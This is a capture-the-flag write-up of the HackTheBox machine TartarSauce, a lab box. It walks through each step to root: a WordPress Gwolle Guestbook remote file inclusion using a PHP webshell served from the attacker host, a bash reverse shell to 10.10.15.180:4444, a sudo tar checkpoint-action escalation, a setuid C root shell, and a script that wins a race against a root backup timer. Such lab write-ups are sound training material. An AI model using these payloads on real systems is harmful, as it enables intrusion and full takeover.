HTB: TartarSauce Writeup

TartarSauce - HackTheBox Writeup

Machine Information

AttributeDetails
NameTartarSauce
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.1.185
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

TartarSauce is a Medium-rated Linux machine that emphasizes thorough web enumeration and realistic privilege escalation techniques. The initial foothold requires discovering a deeply nested WordPress installation hosting a vulnerable guestbook plugin susceptible to Remote File Inclusion. Lateral movement exploits sudo permissions on the tar binary using GTFOBins techniques, while root access demands winning a race condition against a systemd timer that executes a custom backup script. The machine rewards patience in enumeration and careful analysis of automated services running with elevated privileges.

TL;DR: Deep web enumeration → WordPress Gwolle Guestbook RFI (abspath parameter) → www-data shell → sudo tar GTFOBin lateral to onuma → race condition exploitation of backuperer systemd timer → root shell via malicious tar archive extraction.


Reconnaissance

Port Scanning

Terminal window
# Initial nmap scan to identify open ports and services
nmap -sC -sV -T4 -p- 10.129.1.185

Results:

The scan revealed only one open port:

  • Port 80/tcp: Apache httpd 2.4.18 (Ubuntu)

This narrow attack surface indicated that the path forward would require extensive web enumeration rather than exploiting additional network services.

Web Service Enumeration

Initial inspection of the web server on port 80 revealed a simple Apache default page. However, examination of robots.txt disclosed several interesting directories:

User-agent: *
Disallow: /webservices/

The /webservices/ directory contained multiple web applications:

  • Monstra CMS - A lightweight content management system
  • phpMyAdmin - Database management interface
  • WordPress installation at /webservices/wp/ (discovered via directory brute-forcing)

The WordPress installation was the most promising target and required further enumeration.

WordPress Plugin Enumeration

Using WPScan to enumerate the WordPress installation:

Terminal window
# Enumerate WordPress plugins for vulnerabilities
wpscan --url http://10.129.1.185/webservices/wp --enumerate p

The scan identified the Gwolle Guestbook plugin. The plugin’s readme file reported version 2.3.10, which appeared to be a recent, patched version. However, cross-referencing with searchsploit revealed a Remote File Inclusion vulnerability in version 1.5.3:

Terminal window
searchsploit gwolle

This discrepancy suggested the readme version had been modified to mislead automated scanners - a defensive technique sometimes employed by administrators. Manual inspection confirmed the actual installed version was vulnerable 1.5.3.

Vulnerability Assessment

Primary Vulnerability Identified:

  • Gwolle Guestbook Plugin RFI - The abspath parameter in /wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php accepts unsanitized input, allowing remote file inclusion
  • Version obfuscation - The readme file version was manually edited to display 2.3.10 instead of the actual vulnerable 1.5.3

Initial Foothold

Gwolle Guestbook Remote File Inclusion Exploitation

The RFI vulnerability exists in the ajaxresponse.php file due to improper input sanitization of the abspath parameter. The vulnerable code attempts to include files based on user-supplied input without proper validation:

// Vulnerable code pattern (reconstructed)
$abspath = $_GET['abspath'];
require_once($abspath . 'wp-load.php');

Because the $_GET superglobal remains accessible within the included file’s scope, we can serve a malicious wp-load.php from an attacker-controlled web server and achieve remote code execution.

Exploit Development:

Terminal window
# Create a malicious wp-load.php file with webshell functionality
cat > wp-load.php << 'EOF'
<?php
# Simple webshell that executes commands via 'cmd' parameter
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
EOF
# Start a simple HTTP server on the attack box (10.10.15.180)
python3 -m http.server 8100

Triggering the RFI:

Terminal window
# Exploit the RFI vulnerability by pointing abspath to attacker server
# Note: abspath expects a directory path ending with '/'
curl "http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.15.180:8100/&cmd=id"

The target fetched http://10.10.15.180:8100/wp-load.php, executed it, and returned the output of id, confirming code execution as the www-data user.

Establishing Interactive Shell:

Terminal window
# Generate reverse shell payload
# URL-encode the bash reverse shell for reliable execution
PAYLOAD='bash -c "bash -i >& /dev/tcp/10.10.15.180/4444 0>&1"'
# Set up netcat listener on attack box
nc -lvnp 4444
# Trigger reverse shell via RFI
curl "http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.15.180:8100/&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.15.180%2F4444%200%3E%261%22"
# Upgrade to fully interactive TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Successfully obtained shell as www-data.


Privilege Escalation

Lateral Movement: www-data → onuma

Sudo Privilege Enumeration:

Terminal window
# Check sudo permissions for www-data user
sudo -l

Output revealed:

User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar

This configuration allows www-data to execute /bin/tar as the user onuma without providing a password - a classic misconfiguration exploitable via GTFOBins.

Tar GTFOBin Exploitation:

The tar binary supports checkpoint actions that can execute arbitrary commands during archive operations. The --checkpoint-action=exec parameter is particularly useful for privilege escalation:

# Create a script to execute as onuma (tar exec runs programs, not shell commands)
cat > /tmp/priv.sh << 'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /tmp/priv.sh
# Execute tar with checkpoint action to spawn shell as onuma
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/tmp/priv.sh

Why this works:

  • --checkpoint=1 creates a checkpoint after processing every record
  • --checkpoint-action=exec=/tmp/priv.sh executes our script at each checkpoint
  • The script inherits onuma’s privileges from the sudo context
  • /dev/null inputs prevent actual archiving, focusing only on the checkpoint action

Successfully obtained shell as onuma and captured the user flag:

Terminal window
cat /home/onuma/user.txt

Privilege Escalation: onuma → root

Systemd Timer Discovery:

Post-exploitation enumeration revealed an unusual systemd timer running as root:

Terminal window
# Monitor active systemd timers
watch -n 1 'systemctl list-timers'

The backuperer.timer executed every 5 minutes, triggering /usr/sbin/backuperer as the root user.

Static Analysis of backuperer Script:

Terminal window
# Review the backup script for vulnerabilities
cat /usr/sbin/backuperer

Key observations from the script:

#!/bin/bash
# Critical variables
basedir=/var/www/html
tmpdir=/var/tmp
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
# Script workflow:
# 1. Creates random filename: /var/tmp/.<sha1_hash>
# 2. Archives /var/www/html as onuma user: tar -zcvf $tmpfile $basedir
# 3. Sleeps for 30 seconds: /bin/sleep 30
# 4. Extracts archive to /var/tmp/check: tar -zxvf $tmpfile -C $check
# 5. Compares extracted files with original: diff -r $basedir $check$basedir
# 6. If differences exist, keeps extracted files in /var/tmp/check for debugging

Vulnerability Analysis:

The script has a race condition window:

  1. After tar creates /var/tmp/.<random> as onuma (world-readable)
  2. During the 30-second sleep
  3. Before root extracts it to /var/tmp/check

An attacker with onuma privileges can:

  • Monitor /var/tmp/ for new . files (created by tar as onuma)
  • Replace the legitimate tar archive with a malicious one
  • Wait for root to extract the malicious archive
  • Include a setuid binary that grants root shell access

Exploit Development:

Terminal window
# Step 1: Create a setuid shell binary
cat > /tmp/setuid.c << 'EOF'
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(void) {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
return 0;
}
EOF
# Compile as 32-bit to match target architecture
gcc -m32 -o /tmp/rootshell /tmp/setuid.c
# Step 2: Create malicious tar archive
# Archive must extract to /var/www/html structure as script expects
mkdir -p /tmp/payload/var/www/html
cp /tmp/rootshell /tmp/payload/var/www/html/
chmod 4755 /tmp/payload/var/www/html/rootshell
cd /tmp/payload
tar -zcvf /tmp/malicious.tar.gz var/
# Step 3: Monitor and exploit race condition
# Write a daemon to watch for new backup files
cat > /tmp/race.sh << 'EOF'
#!/bin/bash
while true; do
# Find the temporary backup file (starts with dot, owned by onuma)
BACKUP=$(find /var/tmp -maxdepth 1 -name '.*' -user onuma 2>/dev/null | head -1)
if [ ! -z "$BACKUP" ]; then
# Replace legitimate backup with malicious one
cp /tmp/malicious.tar.gz $BACKUP
echo "[+] Replaced $BACKUP with malicious archive"
break
fi
sleep 1
done
EOF
chmod +x /tmp/race.sh
/tmp/race.sh

Race Condition Exploitation:

The race script detected the backup file creation and replaced it atomically:

Terminal window
# Wait for next timer execution (max 5 minutes)
# Watch for extraction to /var/tmp/check
watch -n 1 'ls -la /var/tmp/check/var/www/html/ 2>/dev/null'

When backuperer.timer triggered:

  1. Script created /var/tmp/.<sha1> as onuma
  2. Script slept for 30 seconds
  3. Our race script replaced the archive with malicious version
  4. Script extracted as root to /var/tmp/check/var/www/html/
  5. The diff detected differences (rootshell binary present)
  6. Script kept extracted files instead of cleaning up

Root Shell:

Terminal window
# Execute the setuid binary extracted by root
/var/tmp/check/var/www/html/rootshell
# Verify root access
id
# uid=0(root) gid=0(root) groups=0(root)
# Capture root flag
cat /root/root.txt

Attack Chain Summary

Port 80 HTTP Service Discovery
robots.txt → /webservices/ Directory Enumeration
WordPress Installation at /webservices/wp/
Gwolle Guestbook 1.5.3 RFI (abspath parameter)
Remote File Inclusion → www-data Shell
sudo -u onuma /bin/tar (GTFOBin --checkpoint-action=exec)
Lateral Movement → onuma Shell + user.txt
backuperer.timer Systemd Service Analysis
Race Condition: Replace tar Archive During 30s Sleep Window
Root Extracts Malicious Archive with Setuid Binary
Execute Setuid Binary → root Shell + root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
wpscanWordPress vulnerability scanning and plugin enumeration
searchsploitLocal exploit database searching
python3 http.serverServing malicious files for RFI exploitation
nc (netcat)Reverse shell listener
gccCompiling setuid binary for privilege escalation
tarArchive manipulation and GTFOBin exploitation
systemctlMonitoring systemd timers
watchContinuous monitoring of filesystem changes

Key Learnings

Techniques Practiced

  • Deep web enumeration - Following robots.txt hints and recursive directory brute-forcing to uncover nested applications
  • Version obfuscation detection - Recognizing when reported versions don’t match actual vulnerable versions
  • Remote File Inclusion (RFI) exploitation - Leveraging PHP’s include mechanisms with superglobal scope for RCE
  • GTFOBins privilege escalation - Exploiting tar’s checkpoint-action feature for command execution
  • Race condition exploitation - Timing attacks against automated system scripts with predictable behavior
  • Systemd timer enumeration - Identifying and analyzing scheduled tasks for privilege escalation vectors
  • Setuid binary creation - Crafting SUID executables to maintain elevated privileges

Lessons Learned

  1. Trust but verify automated scanner results - WPScan reported Gwolle Guestbook as version 2.3.10 based on readme.txt, but manual verification revealed the actual version 1.5.3 was vulnerable. Always cross-reference scanner findings with manual inspection and alternative tools like searchsploit.

  2. Understand exploit mechanics, not just execution - The RFI vulnerability succeeded because $_GET superglobals remain accessible in included files. Understanding PHP variable scope was critical to crafting the exploit correctly rather than blindly following proof-of-concept code.

  3. GTFOBins requires adaptation - The --checkpoint-action=exec parameter executes programs directly (not shell commands), requiring creation of an intermediate script file. Reading man pages and understanding binary behavior is essential for successful GTFOBin exploitation.

  4. Race conditions demand persistence and timing - The 30-second sleep window in backuperer created opportunity, but successful exploitation required automated monitoring rather than manual attempts. Writing a daemon to continuously watch for the backup file ensured we didn’t miss the window.

  5. Static analysis reveals dynamic opportunities - Carefully reading the /usr/sbin/backuperer script revealed the critical detail that extracted files were not immediately deleted when diff found discrepancies. This debugging feature became our privilege escalation vector.

  6. Privilege escalation is often multi-stage - The path to root required two distinct escalations (www-data→onuma→root), each exploiting different vulnerability classes (sudo misconfiguration vs. race condition). Complete enumeration at each privilege level is essential.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup - TartarSauce (Document No D18.100.23) by egre55
  • GTFOBins - tar privilege escalation techniques: https://gtfobins.github.io/gtfobins/tar/
  • DefenseCode Whitepaper - Unix Wildcards Gone Wild (tar checkpoint exploitation)